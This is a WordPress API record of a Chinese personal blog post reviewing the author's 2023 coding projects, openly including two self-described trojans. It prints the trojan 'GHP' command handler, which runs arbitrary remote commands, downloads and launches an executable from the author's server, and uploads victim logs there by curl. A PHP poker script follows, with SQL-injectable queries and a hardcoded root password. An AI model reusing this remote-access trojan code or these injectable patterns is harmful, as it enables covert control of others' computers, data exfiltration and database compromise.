{"id":41,"date":"2023-12-31T20:15:21","date_gmt":"2023-12-31T12:15:21","guid":{"rendered":"https:\/\/yahc.top\/?p=41"},"modified":"2024-02-10T18:09:17","modified_gmt":"2024-02-10T10:09:17","slug":"2023-%e5%b9%b4%e5%ba%a6%e5%9b%9e%e9%a1%be","status":"publish","type":"post","link":"https:\/\/yahc.top\/index.php\/2023\/12\/31\/2023-%e5%b9%b4%e5%ba%a6%e5%9b%9e%e9%a1%be\/","title":{"rendered":"2023 \u5e74\u5ea6\u56de\u987e"},"content":{"rendered":"\n<pre class=\"wp-block-code\"><code>2023,what have I done\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>2023\uff0c\u662f\u7075\u611f\u7206\u53d1\u7684\u4e00\u5e74<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b8c\u6210\u4e86 9 \u4e2a\u4e3b\u8981\u9879\u76ee\uff0c\u5199\u4e86\u8d85\u8fc7 50000 \u884c\u4ee3\u7801\u3002<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>\u5148\u795d\u4f60\u5143\u65e6\u5feb\u4e50\u5427\uff0c\u56e0\u4e3a\u53ef\u80fd\u6ca1\u6709\u4eba\u4f1a\u770b\u5230\u6700\u540e<\/em><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n  $year = 2023;\n  $year = $year + 1;\n  echo \"Happy New Year!\";\n?><\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e3b\u8981\u9879\u76ee<\/strong>(\u65e0\u5e8f)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>HCSC 2023<\/strong> \u4e00\u4e2a\u514d\u8d39\u7684\u5728\u7ebf\u804a\u5929\u7f51\u7ad9 <a href=\"https:\/\/yahc.top\/sc\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GoldHorse<\/strong> \u6728\u9a6c (\u51715\u4ee3)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GHP<\/strong> \u66f4\u5f3a\u7684\u6728\u9a6c (\u51714\u4ee3)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5316\u5b66\u4f5c\u4e1a\u767b\u8bb0\u7cfb\u7edf<\/strong> (\u81ea\u7528\u4e0d\u5f00\u653e)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pan \u4e91\u76d8<\/strong> (\u81ea\u7528\u4e0d\u5f00\u653e)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Say \u4e00\u8a00<\/strong> \u4e00\u4e2a\u652f\u6301\u52a0\u5bc6\u7684\u5373\u9605\u5373\u711a\u5f0f\u5199\u4fe1\u7f51\u7ad9 <a href=\"https:\/\/yahc.top\/say\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>MENU \u76f8\u5bf9\u9759\u6b62\u9910\u5385<\/strong> \u534a\u5f00\u73a9\u7b11\u7684\u5728\u7ebf\u70b9\u9910\u7cfb\u7edf <a href=\"https:\/\/yahc.top\/menu\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>QR \u6781\u8bfe\u4e8c\u7ef4\u7801\u751f\u6210<\/strong> \u5b9e\u73b0\u4e8c\u7ef4\u7801\u81ea\u7531\u7684\u514d\u8d39\u5de5\u5177 <a href=\"https:\/\/yahc.top\/qr\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>OTO<\/strong> \u514d\u6ce8\u518c\u7684\u4e00\u5bf9\u4e00\u5373\u65f6\u804a\u5929\u5de5\u5177 <a href=\"https:\/\/yahc.top\/oto\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Wall \u5ef6\u5b89\u6821\u56ed\u5899<\/strong> (\u505c\u6b62\u66f4\u65b0) <a href=\"https:\/\/yahc.top\/wall\" target=\"_blank\" rel=\"noreferrer noopener\">\u4f20\u9001\u95e8<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e3b\u8981\u4e8b\u8ff9<\/strong>(\u65e0\u5e8f)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4efb<\/strong> <strong>\u76f8\u5bf9\u9759\u6b62\u9910\u5385<\/strong>\u5de5\u7a0b\u5e08\u3001\u67b6\u6784\u5e08\u3001\u7f8e\u5de5\u3001\u670d\u88c5\u8bbe\u8ba1\u3001\u7b56\u5212\u3001\u6d4b\u8bd5\u7ec4\u8fd0\u8425<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b8c\u6210<\/strong> \u65e5\u5fd7\u5206\u5757\u4e0a\u4f20\u7b97\u6cd5(GHP)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b8c\u6210<\/strong> \u6728\u9a6c\u81ea\u52a8\u4f20\u64ad\u7b97\u6cd5 (\u7406\u8bba\u8bbe\u8ba1)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b8c\u6210<\/strong> \u5217\u8868\u667a\u80fd\u5237\u65b0\u7b97\u6cd5 (HCSC 2023)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u90e8\u5206\u4ee3\u7801\u7247\u6bb5(\u6389\u5934\u53d1\u8f83\u591a\u7684)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GHP\u2014\u2014\u6076\u641e\u6d82\u9e26\u2014\u2014\u5149\u6807\u63a7\u5236\u51fd\u6570<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void move_mouse(int x,int y){\n\tdouble fScreenWidth = ::GetSystemMetrics(SM_CXSCREEN) - 1;\n\tdouble fScreenHeight = ::GetSystemMetrics(SM_CYSCREEN) - 1;\n\tdouble fx = x * (65535.0f \/ fScreenWidth);\n\tdouble fy = y * (65535.0f \/ fScreenHeight);\n\tmouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, fx, fy, 0, 0);\n}\nvoid across(int x,int y,int width){\n\tfor(int i=x;i&lt;=x+width;i++){\n    \tmove_mouse(i,y);\n\t\tmouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);\n\t\tSleep(5); \n\t\tmouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);\n\t}\n}\nvoid vertical(int x,int y,int height){\n\tfor(int i=y;i&lt;=y+height;i++){\n    \tmove_mouse(x,i);\n\t\tmouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);\n\t\tSleep(5); \n\t\tmouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);\n\t}\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GHP\u2014\u2014\u6307\u4ee4\u5904\u7406\u51fd\u6570(\u542b\u65e5\u5fd7\u5206\u5757\u4e0a\u4f20)<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void my_system(string shell){\/\/\u5904\u7406\u6307\u4ee4 \n\tshell=rep(shell,\"\\\\\",\"\\\\\\\\\");\n\tif(shell==\"e\") return;\/\/\u7a7a\u6307\u4ee4\u4e0d\u6267\u884c \n\tif(shell!=\"uplog\"&amp;&amp;shell!=\"clearlog\") log(\"Shell : \"+shell);\n\tchar cshell&#91;100];\n\tstrcpy(cshell,shell.c_str());\/\/\u8f6c\u6362\u7c7b\u578b \n\tif(shell==\"beep\"){\/\/\u5feb\u6377\u6307\u4ee4\u7279\u5224 \n\t\tBeep(2000,1000);\n\t\treturn;\n\t}\n\tif(shell==\"update\"){\/\/\u81ea\u52a8\u66f4\u65b0 \n\t\tsystem(\"curl -o C:\\\\Windows\\\\ghp\\\\update.exe http:\/\/yahc.top\/ghp\/update.exe\");\/\/\u83b7\u53d6\u66f4\u65b0\n\t\tsystem(\"start \/min C:\\\\Windows\\\\ghp\\\\update.exe\");\/\/\u5f00\u59cb\u66f4\u65b0 \n\t\treturn;\n\t}\n\tif(shell==\"up\"){\n\t\tkeybd_event(39,0,0,0);\n\t\treturn;\n\t}\n\tif(shell==\"down\"){\n\t\tkeybd_event(37,0,0,0);\n\t\treturn;\n\t}\n\tif(shell==\"enter\"){\n\t\tkeybd_event(13,0,0,0);\n\t\treturn;\n\t}\n\tif(shell==\"esc\"){\n\t\tkeybd_event(27,0,0,0);\n\t\treturn;\n\t}\n\tif(shell==\"kg\"){\n\t\tkeybd_event(32,0,0,0);\n\t\treturn;\n\t}\n\tif(shell==\"clearlog\"){\n\t\tdel_log();\n\t\tfreopen(\"C:\\\\Windows\\\\ghp\\\\log\\\\log.gh\",\"w\",stdout);\n\t\tcout&lt;&lt;\" \";\n\t\tfclose(stdout);\n\t\tlog(\"&#91;LOG]System : \u6e05\u7a7a\u4e86log.gh\");\n\t\treturn;\n\t}\n\tif(shell==\"uplog\"){\n\t\tdel_log();\n\t\tstring log_temp; \n\t\tifstream log_file(\"C:\\\\Windows\\\\ghp\\\\log\\\\log.gh\");\n\t\tstring temp_line;\n\t\tint lines=0;\n\t\tint first=-1;\n\t\twhile(getline(log_file,temp_line)){\n\t\t\tlog_temp+=(temp_line+\"&lt;br \/&gt;\");\n\t\t\tlines++;\n\t\t\tif(lines==100){\n\t\t\t\tlines=0;\n\t\t\t\tlog_temp=rep(log_temp,\" \",\"%20\");\n\t\t\t\tlog_temp=rep(log_temp,\"&lt;\",\"^&lt;\");\n\t\t\t\tlog_temp=rep(log_temp,\"&gt;\",\"^&gt;\");\n\t\t\t\tlog_temp=rep(log_temp,\"&#91;\",\"^&#91;\");\n\t\t\t\tlog_temp=rep(log_temp,\"]\",\"^]\");\n\t\t\t\tlog_temp=rep(log_temp,\"\\\\\",\"\\\\\\\\\");\n\t\t\t\tstring upshell = \"curl -g -o C:\\\\Windows\\\\ghp\\\\log\\\\uplog_temp.gh.temp http:\/\/yahc.top\/ghp\/uplog.php?pcid=\"+pcid+\"^&amp;log=\"+log_temp;\n\t\t\t\tchar cshell&#91;100000];\n\t\t\t\tstrcpy(cshell,upshell.c_str());\/\/\u8f6c\u6362\u7c7b\u578b\n\t\t\t\tsystem(cshell);\n\t\t\t\tlog_temp=\"\";\n\t\t\t}\n\t\t}\n\t\tlog_temp=rep(log_temp,\" \",\"%20\");\n\t\tlog_temp=rep(log_temp,\"&lt;\",\"^&lt;\");\n\t\tlog_temp=rep(log_temp,\"&gt;\",\"^&gt;\");\n\t\tlog_temp=rep(log_temp,\"&#91;\",\"^&#91;\");\n\t\tlog_temp=rep(log_temp,\"]\",\"^]\");\n\t\tlog_temp=rep(log_temp,\"\\\\\",\"\\\\\\\\\");\n\t\tstring upshell = \"curl -g -o C:\\\\Windows\\\\ghp\\\\log\\\\uplog_temp.gh.temp http:\/\/yahc.top\/ghp\/uplog.php?pcid=\"+pcid+\"^&amp;log=\"+log_temp;\n\t\tchar cshell&#91;100000];\n\t\tstrcpy(cshell,upshell.c_str());\/\/\u8f6c\u6362\u7c7b\u578b\n\t\tsystem(cshell);\n\t\tlog_file.close();\/\/\u5173\u95ed\u6587\u4ef6 \n\t\tlog(\"&#91;LOG]System : \u53d1\u9001\u4e86\u65e5\u5fd7\");\n\t\treturn;\n\t}\n\tif(shell==\"hc\"){\n\t\tvertical(300,300,300);\n\t\tacross(300,450,150);\n\t\tvertical(450,300,300);\n\t\tacross(600,300,150);\n\t\tvertical(600,300,300);\n\t\tacross(600,600,150);\n\t\treturn;\n\t}\n\tif(shell!=\"cls\"){\n\t\twrite();\n\t\tcout&lt;&lt;\"Result:\"&lt;&lt;endl;\n\t\tsystem(cshell);\/\/\u5176\u4ed6\u6307\u4ee4\u6267\u884c \n\t\tcout&lt;&lt;endl;\n\t\tclose();\n\t}\n\telse{\n\t\tlog(\"&#91;S]System : \u5df2\u6267\u884c\");\n\t\tsystem(\"cls\");\n\t}\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>(\u90e8\u5206)Poker\u6597\u5730\u4e3b\u81ea\u52a8\u5339\u914d\u7b97\u6cd5(\u672a\u5b8c\u6210)<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n    function getip() {\n        static $ip = '';\n        $ip = $_SERVER&#91;'REMOTE_ADDR'];\n        if(isset($_SERVER&#91;'HTTP_CDN_SRC_IP'])) {\n            $ip = $_SERVER&#91;'HTTP_CDN_SRC_IP'];\n        } elseif (isset($_SERVER&#91;'HTTP_CLIENT_IP']) &amp;&amp; preg_match('\/^(&#91;0-9]{1,3}\\.){3}&#91;0-9]{1,3}$\/', $_SERVER&#91;'HTTP_CLIENT_IP'])) {\n            $ip = $_SERVER&#91;'HTTP_CLIENT_IP'];\n        } elseif(isset($_SERVER&#91;'HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s', $_SERVER&#91;'HTTP_X_FORWARDED_FOR'], $matches)) {\n            foreach ($matches&#91;0] AS $xip) {\n                if (!preg_match('#^(10|172\\.16|192\\.168)\\.#', $xip)) {\n                    $ip = $xip;\n                    break;\n                }\n            }\n        }\n        return $ip;\n    }\n    $ip = getip();\n    $id = $_GET&#91;'id'];\n    $oid = 0;\n    $conn = mysqli_connect(\"localhost\",\"root\",\"1234567890\");\n    mysqli_select_db($conn,\"poker\");\n    mysqli_query($conn,\"set names utf8mb4\");\n    if($id==''){\n        $sql = \"SELECT * FROM desks\";\n        $result = mysqli_query($conn,$sql);\n        while($rows = mysqli_fetch_array($result,MYSQLI_ASSOC)){\n            if(($rows&#91;'ipa']==$ip||$rows&#91;'ipb']==$ip)&amp;&amp;$rows&#91;'ud']==\"no\"){\n                $id = $rows&#91;'id'];\n            }\n            $oid = $rows&#91;'id'];\n        }\n        if($id==''){\n            $id = $oid+1;\n            $sql = \"INSERT INTO desks (ipa,ipb,id)\n    VALUES ('$ip','','$id')\";\n            mysqli_query($conn,$sql);\n        }\n        mysqli_close($conn);\n        echo $id;\n    }\n    else{\n        \/\/echo \"??\";\n        $sql = \"SELECT * FROM desks\";\n        $result = mysqli_query($conn,$sql);\n        while($rows = mysqli_fetch_array($result,MYSQLI_ASSOC)){\n            $temp_id = $rows&#91;'id'];\n            if($rows&#91;'id']==$id&amp;&amp;$rows&#91;'ipa']!=''&amp;&amp;$rows&#91;'ipb']!=''&amp;&amp;$rows&#91;'ud']==\"no\"){\n                \/\/echo \"&lt;script&gt;localStorage.setItem('poker-ip',\";\n                \/\/echo $ip;\n                \/\/echo \"');window.location.href='desk.php';&lt;\/script&gt;??\";\n                $sql2 = \"update desks set ud='yes' where id='$id'\";\n                mysqli_query($conn,$sql2);\n                echo \"ok\";\n            }\n            if($rows&#91;'id']!=$id&amp;&amp;$rows&#91;'ipa']==''){\n                $sql2 = \"update desks set ipa='$ip' where id='$temp_id'\";\n                mysqli_query($conn,$sql2);\n                $sql2 = \"delete from desks where id='$id'\";\n                mysqli_query($conn,$sql2);\n                \/\/echo \"&lt;script&gt;localStorage.setItem('poker-ip','\";\n                \/\/echo $ip;\n                \/\/echo \"');localStorage.setItem('poker-id','\";\n                echo $temp_id;\n                \/\/echo \"');window.location.href='desk.php';alert('');&lt;\/script&gt;??\";\n            }\n            if($rows&#91;'id']!=$id&amp;&amp;$rows&#91;'ipb']==''){\n                $sql2 = \"update desks set ipb='$ip' where id='$temp_id'\";\n                mysqli_query($conn,$sql2);\n                $sql2 = \"delete from desks where id='$id'\";\n                mysqli_query($conn,$sql2);\n                \/\/echo \"&lt;script&gt;localStorage.setItem('poker-ip','\";\n                \/\/echo $ip;\n                \/\/echo \"');localStorage.setItem('poker-id','\";\n                echo $temp_id;\n                \/\/echo \"');window.location.href='desk.php';alert('');&lt;\/script&gt;\";\n            }\n        }\n        mysqli_close($conn);\n    }\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8fd8\u6709\u5f88\u591a&#8230;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>\u5c31\u5199\u5230\u8fd9\u91cc\u5427\uff0c\u518d\u6b21\u795d\u4f60\u5143\u65e6\u5feb\u4e50\ud83c\udf89<\/em><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><figure class=\"mdx-lazyload-container\" style=\"max-width:500px\"><div style=\"padding-top:81.2%\"><\/div><div class=\"mdx-img-loading-sp mdui-valign\"><div><div class=\"mdui-spinner\"><\/div><\/div><\/div><img width=\"500\" height=\"406\" class=\"wp-image-54 lazyload\" title=\"2023 \u5e74\u5ea6\u56de\u987e\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" data-src=\"https:\/\/yahc.top\/wp-content\/uploads\/2023\/12\/congratulation.png\" alt=\"https:\/\/yahc.top\/wp-content\/uploads\/2023\/12\/congratulation.png\" data-srcset=\"https:\/\/yahc.top\/wp-content\/uploads\/2023\/12\/congratulation.png 500w, https:\/\/yahc.top\/wp-content\/uploads\/2023\/12\/congratulation-300x244.png 300w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\"><\/figure><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>2023\uff0c\u662f\u7075\u611f\u7206\u53d1\u7684\u4e00\u5e74 \u5b8c\u6210\u4e86 9 \u4e2a\u4e3b\u8981\u9879\u76ee\uff0c\u5199\u4e86\u8d85\u8fc7 50000 \u884c\u4ee3\u7801\u3002 \u5148\u795d\u4f60\u5143\u65e6\u5feb\u4e50\u5427\uff0c\u56e0\u4e3a\u53ef\u80fd [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":61,"comment_status":"closed","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-41","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/posts\/41","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/comments?post=41"}],"version-history":[{"count":9,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions"}],"predecessor-version":[{"id":55,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions\/55"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/media\/61"}],"wp:attachment":[{"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/media?parent=41"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/categories?post=41"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/yahc.top\/index.php\/wp-json\/wp\/v2\/tags?post=41"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}